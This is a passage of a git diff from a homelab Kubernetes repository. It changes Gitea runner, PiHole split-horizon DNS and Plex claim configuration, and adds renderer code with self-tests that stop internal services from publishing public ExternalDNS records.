# that used to live here are gone: kubelet now holds this container until the dind
|
||||
# sidecar's startupProbe passes (see initContainers above).
|
||||
env:
|
||||
- name: GITEA_INSTANCE_URL
|
||||
value: https://gitea.${BASE_DOMAIN}
|
||||
@@ -198,52 +207,6 @@ spec:
|
||||
memory: 128Mi
|
||||
limits:
|
||||
memory: 512Mi
|
||||
# ---- Docker-in-Docker: the job executor daemon (privileged) ----
|
||||
#
|
||||
# FOLLOW-UP (deliberately NOT bundled into the readiness fix above — own change):
|
||||
# Convert this container into a NATIVE SIDECAR and delete both shell wait-loops.
|
||||
# k3s is now v1.36, where sidecar containers are GA, so kubelet can enforce the
|
||||
# ordering that the loops above hand-roll — which also removes the envsubst hazard
|
||||
# from this file entirely (no shell, no $i/$j, nothing to escape or mis-escape).
|
||||
# Shape to build:
|
||||
# 1. Move this whole container into `initContainers:` as the FIRST entry.
|
||||
# 2. Add `restartPolicy: Always` to it. That single field is what makes an
|
||||
# initContainer a sidecar: it starts before the regular containers, keeps
|
||||
# running alongside them, and is terminated after them.
|
||||
# 3. Give it a `startupProbe` that succeeds only when dockerd accepts a TLS
|
||||
# connection — e.g. `exec` a `docker -H tcp://127.0.0.1:2376 --tlsverify
|
||||
# --tlscacert /certs/client/ca.pem --tlscert /certs/client/cert.pem
|
||||
# --tlskey /certs/client/key.pem info`. Do NOT use a bare `tcpSocket` probe:
|
||||
# it would re-open the same "port accepting but TLS/certs not ready" gap that
|
||||
# Stage 1 above exists to close. `periodSeconds: 1` + `failureThreshold: 60`
|
||||
# preserves today's 60s cap.
|
||||
# 4. kubelet then holds the `runner` container until that startupProbe passes, so
|
||||
# `runner` can drop its `command:` override completely and run the image's
|
||||
# default entrypoint.
|
||||
# Why it is a separate change: this Deployment is the ENFORCED MERGE GATE for this
|
||||
# entire repository. If the conversion is wrong, nothing can merge — so it must land
|
||||
# alone, where the failure is unambiguous and not entangled with anything else, and
|
||||
# only after a real workflow run has been observed green on the converted pod.
|
||||
- name: dind
|
||||
image: docker:27-dind
|
||||
securityContext:
|
||||
privileged: true
|
||||
env:
|
||||
# Generate + publish TLS certs into the shared emptyDir; dockerd then listens
|
||||
# on tcp://0.0.0.0:2376 (TLS) which the runner reaches at localhost:2376.
|
||||
- name: DOCKER_TLS_CERTDIR
|
||||
value: /certs
|
||||
volumeMounts:
|
||||
- name: certs
|
||||
mountPath: /certs
|
||||
- name: dind-storage
|
||||
mountPath: /var/lib/docker
|
||||
resources:
|
||||
requests:
|
||||
cpu: 100m
|
||||
memory: 256Mi
|
||||
limits:
|
||||
memory: 2Gi
|
||||
volumes:
|
||||
- name: data
|
||||
persistentVolumeClaim:
|
||||
|
||||
@@ -348,6 +348,7 @@ metadata:
|
||||
annotations:
|
||||
homelab.keithjackson.dev/auth-mode: forward-auth
|
||||
homelab.keithjackson.dev/auth-groups: media-users,platform-admins
|
||||
external-dns.alpha.kubernetes.io/controller: none
|
||||
spec:
|
||||
parentRefs:
|
||||
- name: shared
|
||||
|
||||
@@ -227,6 +227,7 @@ metadata:
|
||||
annotations:
|
||||
homelab.keithjackson.dev/auth-mode: oidc
|
||||
homelab.keithjackson.dev/auth-groups: platform-admins
|
||||
external-dns.alpha.kubernetes.io/controller: none
|
||||
spec:
|
||||
parentRefs:
|
||||
- name: shared
|
||||
|
||||
@@ -348,6 +348,7 @@ metadata:
|
||||
annotations:
|
||||
homelab.keithjackson.dev/auth-mode: forward-auth
|
||||
homelab.keithjackson.dev/auth-groups: media-users,platform-admins
|
||||
external-dns.alpha.kubernetes.io/controller: none
|
||||
spec:
|
||||
parentRefs:
|
||||
- name: shared
|
||||
|
||||
@@ -13,6 +13,93 @@ storage:
|
||||
size: 2Gi
|
||||
class: longhorn # replicated config state; DR-critical (docs/04 line 118; R-STATE-02/03)
|
||||
dependencies: [] # default-deny: reaches only DNS; it PROVIDES DNS (docs/03; R-NET-01/02)
|
||||
# ------------------------------------------------------------------------------------------------
|
||||
# LAN SPLIT-HORIZON DNS — the half of R-DNS-03 that platform/coredns/coredns-custom.yaml defers to.
|
||||
# ------------------------------------------------------------------------------------------------
|
||||
# coredns-custom answers the ${BASE_DOMAIN} zone for PODS ONLY and says so in its own header ("LAN
|
||||
# clients keep their own answers (PiHole split-horizon)"). Until now PiHole served no DNS at all —
|
||||
# its Service was ClusterIP :80/:4180, no port 53, no LoadBalancer — so the LAN half did not exist
|
||||
# and LAN clients depended on hand-maintained per-client dnsmasq files. One went stale after the dev
|
||||
# decommission and cost the operator sonarr.${BASE_DOMAIN}. Upstream cannot cover for it either: the
|
||||
# SOHO router that owns this LAN strips RFC1918 answers for public domains as rebind protection and
|
||||
# returns NOERROR / ANSWER 0. apps/wave-0/pihole-dns.yaml exposes udp/53 + tcp/53 on
|
||||
# ${PIHOLE_DNS_VIP}; these env vars are what make the ANSWERS declarative.
|
||||
#
|
||||
# WHY env AND NOT A RECONCILER: the repo's level-triggered CronJob reconcilers
|
||||
# (platform/keycloak/client-secret-reconciler.yaml, the CNPG grant reconciler in
|
||||
# apps/wave-0/nextcloud-db.yaml) exist because their state has NO declarative entry point — a
|
||||
# Keycloak client secret lives in Keycloak's own database and a Postgres GRANT lives in the
|
||||
# catalog, and nothing in a manifest can express either. PiHole v6 is not that case. Every FTL
|
||||
# setting has an `FTLCONF_<section>_<key>` environment variable, and a value supplied that way is
|
||||
# ENV-FORCED: FTL logs it as "forced through environment", applies it on every start ahead of
|
||||
# /etc/pihole/pihole.toml, and marks it read-only in the admin UI so a human cannot drift it. That
|
||||
# is strictly better than a reconciler — it is enforced at t=0 on a cold start rather than at the
|
||||
# next cron tick, it cannot be defeated by the UI, and it carries no extra RBAC, image or Job. A
|
||||
# CronJob here would be ceremony around a knob the app already exposes. (Verified on the live prod
|
||||
# image, PiHole Core v6.4.3 / FTL v6.7, 2026-09-14.)
|
||||
#
|
||||
# THE PVC IS NOT THE MECHANISM AND MUST NOT BE. The `config` volume below mounts at /data/config;
|
||||
# PiHole's actual state directory is /etc/pihole, which is EPHEMERAL in this Deployment. Anything
|
||||
# configured through the UI is lost on the next reschedule — which is exactly what happened to the
|
||||
# upstream servers: the live pod's pihole.toml carried a hand-set `upstreams` marked "### CHANGED"
|
||||
# that no manifest declared, so a restart would have left PiHole with upstreams = [] and no
|
||||
# recursion at all. Declaring upstreams here closes that too: PiHole must stay a usable GENERAL
|
||||
# resolver, not only authoritative for this zone, or pointing LAN clients at it breaks the internet.
|
||||
env:
|
||||
# Default is LOCAL, which answers only clients on the same subnet as the listening interface. The
|
||||
# pod's interface is on the CLUSTER pod CIDR, so every LAN client would be refused. ALL is
|
||||
# required for a LoadBalancer-fronted resolver; what keeps PiHole from being an OPEN resolver is
|
||||
# the exposure, not this setting — `loadBalancerSourceRanges: [${LAN_CIDR}]` on the DNS Services,
|
||||
# enforced by Cilium in the datapath before load-balancing, plus a CiliumNetworkPolicy that admits
|
||||
# nothing but udp/53 and tcp/53. See apps/wave-0/pihole-dns.yaml.
|
||||
- name: FTLCONF_dns_listeningMode
|
||||
value: "ALL"
|
||||
# Recursion for everything that is NOT this zone. Public resolvers on purpose, NOT the SOHO
|
||||
# router at the LAN gateway: that router is the box whose rebind protection strips RFC1918
|
||||
# answers, and forwarding to a device that may forward back here invites a loop.
|
||||
- name: FTLCONF_dns_upstreams
|
||||
value: "8.8.8.8;8.8.4.4"
|
||||
# Per-client query rate limit OFF (default: 1000 queries per 60s, then REFUSED). It has to be off
|
||||
# because of how the DNS Services are exposed: apps/wave-0/pihole-dns.yaml uses
|
||||
# externalTrafficPolicy Cluster — it must, or LAN resolution breaks whenever Cilium's L2
|
||||
# announcement lease and the pihole pod land on different nodes, which is most of the time — and
|
||||
# Cilium runs in SNAT mode here, so a query forwarded between nodes reaches PiHole carrying the
|
||||
# INGRESS NODE's address instead of the client's. Every LAN device therefore counts against ONE
|
||||
# apparent client's budget, and a normal evening of browsing from a handful of machines would trip
|
||||
# a limit meant to catch one misbehaving host. Leaving it at the default turns the whole LAN's DNS
|
||||
# off for 60 seconds at a time, intermittently, which is the worst possible failure shape. The
|
||||
# limit becomes meaningful again — and should be restored — if Cilium is ever switched to
|
||||
# `loadBalancer.mode: dsr`, which preserves the client address.
|
||||
- name: FTLCONF_dns_rateLimit_count
|
||||
value: "0"
|
||||
# THE SPLIT-HORIZON ANSWERS. A dnsmasq `address=/<domain>/<ip>` entry answers that domain AND
|
||||
# every subdomain of it, and dnsmasq resolves overlapping entries by LONGEST MATCHING DOMAIN —
|
||||
# so the first line is a wildcard for the whole zone and each later line is a specific override.
|
||||
# PRECEDENCE IS THEREFORE STRUCTURAL, not order-dependent: `unifi.${BASE_DOMAIN}` matches both
|
||||
# line 1 and line 2, line 2 is the longer domain, line 2 wins. Rewriting these in any order
|
||||
# changes nothing.
|
||||
#
|
||||
# A NEWLY ONBOARDED SERVICE NEEDS NO CHANGE HERE. Every catalog ingressRoute host is
|
||||
# `<label>.${BASE_DOMAIN}` served by the shared Gateway, so the wildcard already answers it with
|
||||
# ${GATEWAY_VIP} — the same guarantee, and the same reasoning, as the `template IN A` block in
|
||||
# platform/coredns/coredns-custom.yaml. Add a line here ONLY for a service that does not live
|
||||
# behind the Gateway: an L4 LoadBalancer on its own pinned VIP. Those are enumerated from the
|
||||
# repo, not from memory — grep `external-dns.alpha.kubernetes.io/hostname` on a Service, which
|
||||
# is the annotation that means "this Service publishes its own hostname at its own address":
|
||||
# apps/vms/unifi/50-service-l4.yaml (unifi -> ${UNIFI_L4_VIP}) and
|
||||
# platform/crafty/service-l4.yaml (crafty-mc -> ${CRAFTY_L4_VIP}). Those two, plus PiHole's own
|
||||
# resolver address, are the complete set of exceptions today.
|
||||
#
|
||||
# AAAA needs nothing: dnsmasq answers a AAAA query for an `address=`d name with NODATA
|
||||
# (NOERROR, no answer), so IPv6-capable clients fall back to the A record instead of getting
|
||||
# NXDOMAIN — the same behaviour coredns-custom hand-writes a `template IN AAAA` block for.
|
||||
#
|
||||
# Array-valued FTLCONF variables are SEMICOLON-separated. A JSON-looking list is accepted and
|
||||
# then silently wrong: FTL stores `["a","b"]` as ONE array element containing those literal
|
||||
# characters, writes that single bogus line into /etc/pihole/dnsmasq.conf and reports "0 invalid"
|
||||
# while resolution for the zone does not work. Confirmed both ways against the live image.
|
||||
- name: FTLCONF_misc_dnsmasq_lines
|
||||
value: "address=/${BASE_DOMAIN}/${GATEWAY_VIP};address=/unifi.${BASE_DOMAIN}/${UNIFI_L4_VIP};address=/crafty-mc.${BASE_DOMAIN}/${CRAFTY_L4_VIP};address=/pihole-dns.${BASE_DOMAIN}/${PIHOLE_DNS_VIP}"
|
||||
ingressRoutes:
|
||||
- host: pihole.${BASE_DOMAIN}
|
||||
port: 80 # admin web UI, protected at the Gateway by forward-auth (docs/09)
|
||||
|
||||
+46
-9
@@ -32,11 +32,46 @@ env:
|
||||
# (10.43.0.0/16); 192.168.0.0/16 covers the home LAN.
|
||||
- name: ALLOWED_NETWORKS
|
||||
value: 10.0.0.0/8,192.168.0.0/16
|
||||
# PLEX_CLAIM is deliberately NOT set here: a https://plex.tv/claim token has a ~4-min TTL, far
|
||||
# shorter than the commit -> push -> Flux reconcile -> pod-roll cycle, so any token committed to git
|
||||
# is already expired by the time the pod starts. Claiming is a one-time LIVE step (UI sign-in, or a
|
||||
# single API POST) against the running server; the claim then persists on the /config PVC and
|
||||
# survives pod rolls (including the roll this env change causes), so it never belongs in git.
|
||||
# PLEX_CLAIM — the ONE-SHOT plex.tv server claim, sourced from the SOPS Secret `plex-claim`
|
||||
# (apps/wave-0/plex-claim-secret.sops.yaml, same wave => applied in the same reconcile as this
|
||||
# workload). Plex cannot create libraries over the mounted bulk share while the server is
|
||||
# UNCLAIMED, so this is wired; it was previously left out on the reasoning below, and only one
|
||||
# half of that reasoning survived contact with the upstream source.
|
||||
#
|
||||
# A SHORT TTL IS THE OPERATIONAL CONSTRAINT, not a reason to abstain. A https://plex.tv/claim token
|
||||
# expires in MINUTES — read the countdown the claim page renders; do not budget against a number
|
||||
# written in this tree. (This comment previously asserted "~4 minutes" as established fact. It was
|
||||
# UNCITED, upstream plexinc/pms-docker documents no expiry at all, and that number was load-bearing
|
||||
# for the whole procedure design — including a since-disproven claim that the delivery pipeline was
|
||||
# too slow to fit inside it. Measured 2026-09-29: the full loop is ~2m45s and fits.)
|
||||
#
|
||||
# The live token is injected by the operator inside that window, with an explicit `flux reconcile`
|
||||
# to collapse the wait. Scripted end to end as infra/plex/claim-ship.sh; runbooks/plex-claim.md is
|
||||
# the procedure. SERVER CLAIMED 2026-09-29 — this env is now a permanent no-op (see below), and the
|
||||
# committed value is the spent token from that claim rather than the original placeholder.
|
||||
#
|
||||
# ONE-SHOT, AND SAFE TO SIT HERE EXPIRED. Verified from plexinc/pms-docker's own first-run script
|
||||
# (branch `master`, root/etc/cont-init.d/40-plex-first-run, confirmed byte-identical to the file in
|
||||
# the running `:latest` image), NOT assumed:
|
||||
# - the exchange (line 106) is guarded on TWO conditions: PLEX_CLAIM non-empty AND the
|
||||
# PlexOnlineToken pref in /config empty. Once claimed, the block is SKIPPED — this env is a
|
||||
# no-op on every subsequent start, whatever it holds. (Upstream README: "If server is already
|
||||
# logged in, this parameter is ignored.") The claim itself persists on the /config PVC as before.
|
||||
# - an invalid/expired token on a still-unclaimed /config gets a 403 with an empty body; curl's
|
||||
# status is unchecked, the token `sed` yields "", the success branch at line 120 does not fire,
|
||||
# there is no `else` and no `exit 1`, and the script (no `set -e`) exits 0. It comes up UNCLAIMED and
|
||||
# SERVING — it does NOT crashloop. The image also leaves S6_BEHAVIOUR_IF_STAGE2_FAILS at its
|
||||
# default 0, which continues startup even when a cont-init script fails.
|
||||
# So the earlier "a placeholder claim Secret would crashloop the pod" note was WRONG about the
|
||||
# placeholder; it was right only about an ABSENT Secret. secretKeyRef here has no `optional` field,
|
||||
# so the Secret must always exist in the Flux graph — which is why it is committed, encrypted, and
|
||||
# listed in apps/wave-0/kustomization.yaml rather than hand-created at claim time. No schema change
|
||||
# is needed: `optional` would only matter if a missing Secret had to be tolerated, and it doesn't.
|
||||
- name: PLEX_CLAIM
|
||||
valueFrom:
|
||||
secretKeyRef:
|
||||
name: plex-claim
|
||||
key: PLEX_CLAIM
|
||||
# ADVERTISE_IP ("Custom server access URLs") is DEFERRED, not accidentally omitted. It tells Plex
|
||||
# which URL to advertise to plex.tv for REMOTE clients. The only candidate is
|
||||
# https://plex.home.keithjackson.dev, but that host resolves via split-horizon DNS to the INTERNAL
|
||||
@@ -56,10 +91,12 @@ storage:
|
||||
# container's EPHEMERAL layer -> unclaimed + all state lost on restart. The image inits as
|
||||
# root (s6-svscan PID 1), chowns /config to the plex user, then drops -> no fsGroup needed
|
||||
# (verified in-cluster: PID1=root, "Plex Media Server"=plex). Persisting /config here also
|
||||
# makes the claim survive restarts once claimed. To auto-claim on first boot instead of the
|
||||
# UI sign-in, the operator adds a PLEX_CLAIM env from a fresh https://plex.tv/claim token
|
||||
# (4-min TTL) — deliberately NOT wired here: the env secretKeyRef pattern has no `optional`,
|
||||
# so a placeholder/absent claim Secret would crashloop the pod. See operator hand-off.
|
||||
# makes the claim survive restarts once claimed — which is what makes the PLEX_CLAIM env
|
||||
# above a ONE-SHOT: the token is exchanged for a PlexOnlineToken written here, and the
|
||||
# exchange is then skipped on every later start. (The older note here claimed a
|
||||
# placeholder claim Secret "would crashloop the pod"; upstream's first-run script says
|
||||
# otherwise — see the PLEX_CLAIM comment in `env` above. An ABSENT Secret is the hard
|
||||
# failure, and that is why one is committed.)
|
||||
# THE LIBRARY (docs/04 bulk tier). One READ-ONLY mount of the export ROOT, giving /media/movies,
|
||||
# /media/tv and /media/photos — the whole tree the layout actually has (`ls /mnt/Storage/plex`:
|
||||
# downloads/ movies/ photos/ tv/).
|
||||
|
||||
+198
-2
@@ -80,6 +80,18 @@ BULK_NFS_SERVER = "${BULK_NFS_SERVER}"
|
||||
BULK_NFS_MOUNT_OPTIONS = ["nfsvers=4.1", "hard", "noatime", "timeo=600", "retrans=2"]
|
||||
GATEWAY_NAME = "shared"
|
||||
GATEWAY_NS = "gateway"
|
||||
# ExternalDNS per-resource scoping (R-DNS-03; see _externaldns_route_annotations for the full WHY
|
||||
# and for the v0.21.0 source citation). The KEY is external-dns's own `ControllerKey`
|
||||
# (annotationPrefix + "controller"); external-dns skips any source object whose value is PRESENT
|
||||
# and != `ControllerValue` ("dns-controller"), so the VALUE only has to be some other string.
|
||||
# `none` is chosen because it reads as intent in `kubectl get httproute -o yaml` rather than as a
|
||||
# typo — "no DNS controller owns this route" — and because the one value that must never be
|
||||
# emitted here is external-dns's own, which a literal `none` cannot drift into.
|
||||
EXTERNALDNS_CONTROLLER_KEY = "external-dns.alpha.kubernetes.io/controller"
|
||||
EXTERNALDNS_CONTROLLER_DISOWN = "none"
|
||||
# The value external-dns claims for itself. Held here ONLY so the renderer and the L0 guard can
|
||||
# assert the disown value is not it; never emitted.
|
||||
EXTERNALDNS_CONTROLLER_CLAIMED = "dns-controller"
|
||||
KP_RELEASE = "kube-prometheus-stack" # ServiceMonitor/PrometheusRule discovery label
|
||||
MONITORING_NS = "monitoring" # where Prometheus runs; the only admitted scrape source
|
||||
|
||||
@@ -836,12 +848,15 @@ def r_in_cluster_client_policies(s: dict) -> list:
|
||||
|
||||
|
||||
def _route_meta(s: dict, route: dict) -> dict:
|
||||
"""HTTPRoute metadata: auth wiring hints PLUS the ExternalDNS scoping derived from
|
||||
`exposure` (_externaldns_route_annotations — R-DNS-03: an `internal` service renders no
|
||||
public DNS record, and now cannot)."""
|
||||
meta = {
|
||||
"name": f"{s['name']}-{route['port']}",
|
||||
"namespace": s["name"],
|
||||
"labels": {"app.kubernetes.io/name": s["name"]},
|
||||
}
|
||||
ann = _auth_annotations(s)
|
||||
ann = {**_auth_annotations(s), **_externaldns_route_annotations(s)}
|
||||
if ann:
|
||||
meta["annotations"] = ann
|
||||
return meta
|
||||
@@ -1039,6 +1054,64 @@ def _auth_annotations(s: dict) -> dict:
|
||||
return {}
|
||||
|
||||
|
||||
def _externaldns_route_annotations(s: dict) -> dict:
|
||||
"""ExternalDNS scoping, rendered FROM `exposure` (renderer-contract §exposure; R-DNS-03).
|
||||
|
||||
`internal` renders NO public DNS record. That sentence was in the contract from the start and
|
||||
nothing enforced it: ExternalDNS watched EVERY HTTPRoute the shared Gateway carried, so an
|
||||
`internal` service's route published `<name>.${BASE_DOMAIN}` into the PUBLIC authoritative
|
||||
Cloudflare zone, answering with the Gateway VIP — an RFC1918 address. Six of them did
|
||||
(jackett, pihole, qbittorrent, radarr, semaphore, sonarr), which published the internal
|
||||
subnet, the Gateway VIP and a full service inventory to anyone who asked, and made every one
|
||||
of those names a DNS-rebind primitive that the SOHO router strips on the way back in.
|
||||
|
||||
THE MECHANISM, verified against the DEPLOYED version (chart >=1.21.0 <1.22.0, app v0.21.0 —
|
||||
`registry.k8s.io/external-dns/external-dns:v0.21.0`, read off the live prod Deployment), not
|
||||
from memory. external-dns v0.21.0 `source/annotations/processors.go`:
|
||||
|
||||
func IsControllerMismatch(entity metav1.ObjectMetaAccessor, rType string) bool {
|
||||
value, ok := entity.GetObjectMeta().GetAnnotations()[ControllerKey]
|
||||
if ok && value != ControllerValue { ...; return true }
|
||||
return false
|
||||
}
|
||||
|
||||
with `ControllerKey = "external-dns.alpha.kubernetes.io/controller"` and
|
||||
`ControllerValue = "dns-controller"`. `source/gateway.go` calls it per route inside
|
||||
`Endpoints()`, BEFORE any hostname is resolved:
|
||||
|
||||
if annotations.IsControllerMismatch(meta, src.rtKind) { continue }
|
||||
|
||||
so an HTTPRoute carrying any other value is not merely unpublished — it never becomes an
|
||||
endpoint at all, for any hostname it names. `source/service.go` applies the identical check,
|
||||
so the same annotation scopes the `service` source too if a rendered Service ever grows an
|
||||
external-dns hostname.
|
||||
|
||||
WHY THIS IS STRUCTURAL AND NOT INCIDENTAL. The annotation is derived HERE, from `exposure`,
|
||||
with no per-service list anywhere: every HTTPRoute this renderer emits for an `internal`
|
||||
service carries it, and ci/render-golden.sh proves `apps/` reproduces byte-for-byte from
|
||||
`catalog/`, so an `internal` service cannot EXIST in the applied tree without it. Flipping
|
||||
`exposure: internal` to `public` is the only edit that can publish a name, which is exactly
|
||||
the operator-facing declaration R-DNS-03 is written in terms of. The L0 check
|
||||
conformance/tests/l0-static/internal-services-publish-no-public-dns re-proves all of that on
|
||||
every gate run, including that this function reads `exposure` rather than naming services.
|
||||
|
||||
WHY NOT A CLUSTER-WIDE OPT-IN FILTER (`--label-filter`, chart `labelFilter`). It exists, and
|
||||
v0.21.0's own `--help` names both sources in use as supporting it ("currently supported by
|
||||
source types crd, gateway-httproute, ... service and ambassador-host"), so a "publish only
|
||||
what is labelled" posture is available and is STRONGER by default. It is not taken here
|
||||
because its blast radius is not this defect's: seven published names come from hand-authored
|
||||
platform/apps manifests that carry no `exposure` field and that this renderer never sees
|
||||
(auth/oauth2-proxy, crafty + crafty-mc, grafana, headlamp, the homepage apex, unifi). An
|
||||
opt-in filter DELETES all seven the moment it is set, and whether each should stay published
|
||||
is an operator decision, not a renderer one. Per-resource exclusion has exactly the blast
|
||||
radius of the reported defect. The filter remains the available hardening once those seven
|
||||
are adjudicated — see platform/externaldns/helmrelease.yaml.
|
||||
"""
|
||||
if s["exposure"] == "internal":
|
||||
return {EXTERNALDNS_CONTROLLER_KEY: EXTERNALDNS_CONTROLLER_DISOWN}
|
||||
return {}
|
||||
|
||||
|
||||
def r_servicemonitor(s: dict):
|
||||
"""ServiceMonitor — rendered ONLY when the SD says WHERE metrics are served.
|
||||
|
||||
@@ -1679,6 +1752,25 @@ EXTRA_UNITS: dict = {
|
||||
"gitea-actions-runner-secret.sops.yaml",
|
||||
],
|
||||
},
|
||||
# PiHole's DNS exposure: the udp/53 + tcp/53 LoadBalancer Services on a pinned VIP, plus the
|
||||
# narrow LAN ingress CiliumNetworkPolicy that admits them (apps/wave-0/pihole-dns.yaml).
|
||||
# `above: False` co-locates it in pihole's OWN wave: these are the pihole pod's own Services and
|
||||
# its own policy, applied in the same wave as the Deployment they select, exactly as the
|
||||
# rendered Service and CNPs in pihole.yaml are. It is NOT a runtime prerequisite of anything, so
|
||||
# there is nothing for a higher wave to gate on.
|
||||
#
|
||||
# It is a non-catalog unit because the ServiceDefinition schema cannot express a LoadBalancer
|
||||
# Service, a pinned lbipam VIP, a sharing key or UDP exposure at all (additionalProperties is
|
||||
# false, and `ingressRoutes` only renders HTTPRoutes on the L7 Gateway) — the same reason
|
||||
# apps/vms/unifi/50-service-l4.yaml and platform/crafty/service-l4.yaml are hand-written. The
|
||||
# split-horizon ANSWERS are in the catalog, as FTLCONF env on catalog/pihole.yaml.
|
||||
"pihole-dns": {
|
||||
"anchor": "pihole",
|
||||
"above": False,
|
||||
"files": [
|
||||
"pihole-dns.yaml",
|
||||
],
|
||||
},
|
||||
}
|
||||
|
||||
|
||||
@@ -1752,6 +1844,10 @@ def plan_apps_waves(sds: list, present_files: set) -> dict:
|
||||
convention:
|
||||
- `<svc>.yaml` -> wave(svc)
|
||||
- `<svc>-bootstrap-secret.sops.yaml` -> wave(svc) (consumed by svc's env, same apply)
|
||||
- `<svc>-claim-secret.sops.yaml` -> wave(svc) (a one-shot upstream-service claim token
|
||||
consumed by svc's env — plex's plex.tv claim. Same wave as the app for the same reason the
|
||||
bootstrap secret is: an env `secretKeyRef` has no `optional`, so the Secret must be applied
|
||||
in the SAME reconcile as the workload or the pod is CreateContainerConfigError.)
|
||||
- `<svc>-oauth2-proxy-credentials.sops.yaml` -> wave(svc) (forward-auth sidecar OIDC creds)
|
||||
- `<svc>-db.yaml` -> wave(svc-db) (a strictly-lower wave; CNPG DB)
|
||||
- `<svc>-db-app.sops.yaml` -> wave(svc-db) (CNPG initdb owner secret)
|
||||
@@ -1778,6 +1874,11 @@ def plan_apps_waves(sds: list, present_files: set) -> dict:
|
||||
w = waves[name]
|
||||
add(w, f"{name}.yaml")
|
||||
add(w, f"{name}-bootstrap-secret.sops.yaml")
|
||||
# A one-shot claim token for an UPSTREAM service (plex's plex.tv claim). Same wave as the
|
||||
# app: it is read by the app's env at pod start, and an env secretKeyRef has no `optional`,
|
||||
# so a Secret applied in a later wave would leave the pod in CreateContainerConfigError.
|
||||
# Placed only when the file exists, so services without one are unaffected.
|
||||
add(w, f"{name}-claim-secret.sops.yaml")
|
||||
# forward-auth (Option B): the per-app oauth2-proxy sidecar's OIDC client + cookie secret.
|
||||
# Same wave as the app (the sidecar reads it at pod start); placed only when the file exists,
|
||||
# so non-forward-auth apps are unaffected. Mirrors the bootstrap-secret naming convention.
|
||||
@@ -2078,6 +2179,96 @@ def _selftest() -> int:
|
||||
"a non-exposed service must not render a gateway-ingress allow (least privilege)",
|
||||
)
|
||||
|
||||
# 4b-dns) exposure -> ExternalDNS SCOPING on the HTTPRoute (R-DNS-03). `internal` renders no
|
||||
# public DNS record and must be INCAPABLE of rendering one: its route carries
|
||||
# external-dns's own controller annotation set to something other than `dns-controller`,
|
||||
# which v0.21.0's gateway-httproute source (source/gateway.go ->
|
||||
# annotations.IsControllerMismatch) uses to skip the route before any hostname is
|
||||
# resolved. `public` must NOT carry it, or the five public names would vanish instead.
|
||||
# Both directions are asserted here because only asserting the internal half would pass
|
||||
# just as happily if the renderer stamped EVERY route and silently unpublished the zone.
|
||||
dns_int_docs = render(
|
||||
{
|
||||
"name": "di",
|
||||
"source": {"image": "a:1"},
|
||||
"exposure": "internal",
|
||||
"ingressRoutes": [{"host": "di.home.keithjackson.dev", "port": 80}],
|
||||
"auth": {"mode": "none"},
|
||||
}
|
||||
)
|
||||
dns_int_routes = [d[1] for d in dns_int_docs if d[1]["kind"] == "HTTPRoute"]
|
||||
check(
|
||||
len(dns_int_routes) == 1,
|
||||
"an internal exposed service must still render its HTTPRoute (LAN reachability is "
|
||||
"unchanged — only the PUBLIC record is withdrawn)",
|
||||
)
|
||||
if dns_int_routes:
|
||||
iann = dns_int_routes[0]["metadata"].get("annotations", {})
|
||||
check(
|
||||
iann.get(EXTERNALDNS_CONTROLLER_KEY) == EXTERNALDNS_CONTROLLER_DISOWN,
|
||||
"an internal service's HTTPRoute must carry the ExternalDNS disown annotation",
|
||||
)
|
||||
check(
|
||||
iann.get(EXTERNALDNS_CONTROLLER_KEY) != EXTERNALDNS_CONTROLLER_CLAIMED,
|
||||
"the disown value must never be external-dns's own `dns-controller` (that CLAIMS "
|
||||
"the route rather than releasing it — the one value that inverts the guarantee)",
|
||||
)
|
||||
dns_pub_docs = render(
|
||||
{
|
||||
"name": "dp",
|
||||
"source": {"image": "a:1"},
|
||||
"exposure": "public",
|
||||
"ingressRoutes": [{"host": "dp.home.keithjackson.dev", "port": 80}],
|
||||
"auth": {"mode": "native"},
|
||||
}
|
||||
)
|
||||
dns_pub_routes = [d[1] for d in dns_pub_docs if d[1]["kind"] == "HTTPRoute"]
|
||||
check(len(dns_pub_routes) == 1, "a public service must render its HTTPRoute")
|
||||
if dns_pub_routes:
|
||||
check(
|
||||
EXTERNALDNS_CONTROLLER_KEY
|
||||
not in dns_pub_routes[0]["metadata"].get("annotations", {}),
|
||||
"a public service's HTTPRoute must NOT carry the ExternalDNS disown annotation",
|
||||
)
|
||||
# The DEFAULT posture is `internal` (renderer-contract "Default posture"), so a
|
||||
# ServiceDefinition that simply omits `exposure` must also be unpublishable. Omitting the
|
||||
# field is the likeliest way a new service arrives, and it is the case a per-service
|
||||
# allow-list would miss.
|
||||
dns_dflt_docs = render(
|
||||
{
|
||||
"name": "dd",
|
||||
"source": {"image": "a:1"},
|
||||
"ingressRoutes": [{"host": "dd.home.keithjackson.dev", "port": 80}],
|
||||
"auth": {"mode": "none"},
|
||||
}
|
||||
)
|
||||
dns_dflt_route = next(d[1] for d in dns_dflt_docs if d[1]["kind"] == "HTTPRoute")
|
||||
check(
|
||||
dns_dflt_route["metadata"]["annotations"].get(EXTERNALDNS_CONTROLLER_KEY)
|
||||
== EXTERNALDNS_CONTROLLER_DISOWN,
|
||||
"a ServiceDefinition that OMITS `exposure` defaults to internal and must also be "
|
||||
"unpublishable (default posture, renderer-contract)",
|
||||
)
|
||||
# The scoping annotation must COEXIST with the auth hints rather than replace them: both are
|
||||
# merged into one `annotations` map, and a forward-auth internal app is the overlap case.
|
||||
dns_fa_docs = render(
|
||||
{
|
||||
"name": "df",
|
||||
"source": {"image": "a:1"},
|
||||
"exposure": "internal",
|
||||
"ingressRoutes": [{"host": "df.home.keithjackson.dev", "port": 80}],
|
||||
"auth": {"mode": "forward-auth", "groups": ["platform-admins"]},
|
||||
}
|
||||
)
|
||||
dns_fa_ann = next(
|
||||
d[1] for d in dns_fa_docs if d[1]["kind"] == "HTTPRoute"
|
||||
)["metadata"]["annotations"]
|
||||
check(
|
||||
dns_fa_ann.get(EXTERNALDNS_CONTROLLER_KEY) == EXTERNALDNS_CONTROLLER_DISOWN
|
||||
and dns_fa_ann.get(f"{LBL}/auth-mode") == "forward-auth",
|
||||
"DNS scoping and auth-mode hints must COEXIST on one internal forward-auth route",
|
||||
)
|
||||
|
||||
# 4c) inClusterClients -> one ADDITIVE, least-privilege ingress allow per entry that admits a
|
||||
# PLATFORM controller's NAMESPACE (not the reserved `ingress` identity, not `all`) to ONE
|
||||
# declared port. This is what keeps a cluster whose GitOps source is an in-cluster Service
|
||||
@@ -2366,7 +2557,8 @@ def _selftest() -> int:
|
||||
# 7a) plan_apps_waves: sidecars inherit their unit's wave; not-onboarded SDs are skipped;
|
||||
# EXTRA_UNITS anchor strictly above; a file absent from the tree is never placed.
|
||||
present = {
|
||||
"a.yaml", "svc.yaml", "svc-bootstrap-secret.sops.yaml",
|
||||
